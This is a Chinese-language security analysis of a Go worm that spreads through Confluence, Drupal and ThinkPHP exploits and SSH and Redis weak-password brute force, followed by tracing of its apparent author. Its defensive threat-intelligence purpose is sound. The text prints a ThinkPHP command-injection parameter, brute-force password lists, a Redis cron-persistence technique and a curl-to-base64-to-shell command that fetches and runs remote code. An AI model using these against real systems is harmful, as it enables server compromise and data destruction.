Golang蠕虫泛滥?让我们揪出其始作俑者
概述
近日,国外安全网站SECURITYWEEK披露,一款Go语言恶意软件正大量感染Linux服务器,其使用了多达6种传播感染方式,包含4个远程执行漏洞(ThinkPHP、THinkPHP2、Dural、Confluence),2个弱密码爆破攻击(SSH、Redis)。深信服安全团队对该蠕虫进行了追踪。
目前为止,恶意软件较少会使用Go语言编写,这是由于依赖库的原因,编译出来的程序较为冗余,如下通过VT可以得知,该样本有近9M那么大。然而,使用Go语言也有一个好处,就是易于集成第三方的库。
逆向分析
对该样本进行反汇编,可以清晰地看到漏洞攻击对应的函数,其中Attack函数是主函数,依次调用getip和checkPort,来搜索同网段在线的主机IP,以及其开放端口,若发现有22、6379端口开放,则对其进行弱密码爆破;若发现有80端口,则对其进行漏洞扫描及攻击。
1、CVE_2019_3396
CVE_2019_3396是Confluence的漏洞,攻击exp如下,将payload存储于_template参数中。
2、Drupal
Drupal的攻击exp如下,对应的CVE编号为CVE-2018-7600。
3、ThinkPHP
ThinkPHP有两个漏洞利用,下面这个是CVE-2019-9082漏洞,使用function=call_user_func_array&vars[0]=system&vars[1][]=URL利用该漏洞执行命令。
4、ThinkPHP2
另一个漏洞利用跟上面的相似,攻击exp如下。
5、Redis爆破
Redis登陆不需要用户名,爆破会使用如下几个弱密码:admin、redis、root、123456、password、user、test。登陆成功后,蠕虫会先调用FlushAll删除所有数据库,然后创建一个root数据库来存放恶意代码,该代码同样会被创建到/var/spool/cron和/etc/cron.d中以实现持久化潜伏。
插入的是下面这个恶意代码,这个代码的意思是,每隔一分钟,就解密执行一次https://pastebin.com/raw/xvfxprtb的代码。
6、SSH爆破
SSH爆破使用的用户名为:root、admins、user、test,密码分别为:admins、root、test、user、123456、password。
从上面几个漏洞攻击和密码爆破的方式来看,攻击最后的目的都是为了执行命令:’curl -fsSLhttps://pastebin.com/raw/xvfxprtb) | base64 -d) | sh’,所以,这个url的代码应该就是攻击的核心代码。pastebin.com/raw/xvfxprtb的代码如下,是经过base64加密的。
解密后可以看见其主要操作,将m.jianlistore.com/images/qrcode/1414297564.jpg保存为本地的/tmp/.mysqli/mysqlc并执行,这个文件之前已经有文章分析过了,不再累赘:https://www.freebuf.com/articles/terminal/206170.html。
事件追踪
回到刚刚的网址:pastebin.com/raw/xvfxprtb,对其进行追踪,将网址中的raw去掉,就可以看到该代码的发布者了,从下图中可以得知,该作者为NIDAYE222,代码是6月10号上传的,访问量迄今为止为18000+,说明该蠕虫的感染量大概也是这个数,感染数量也还在极速上升。
使用搜索引擎搜索nidaye222,可以发现,发布者在14天刚创建了个github账户,而在6月26号和30分别fork了漏洞扫描器kunpeng和开源挖矿xmrig,看来这个蠕虫的作者很有可能是从这得到了启发。
Kunpeng是一个开源的POC检测框架,也是使用go语言进行编写的,所以,不排除作者有复用其中漏洞利用代码的可能性。
Kunpeng目前为止收录了85个漏洞POC,其中也包含了该蠕虫所利用的漏洞,可想而知,只要作者愿意,他可以继续扩充如下漏洞攻击代码到蠕虫中去,所以,大家尽量打上相应的漏洞补丁,防止感染该病毒。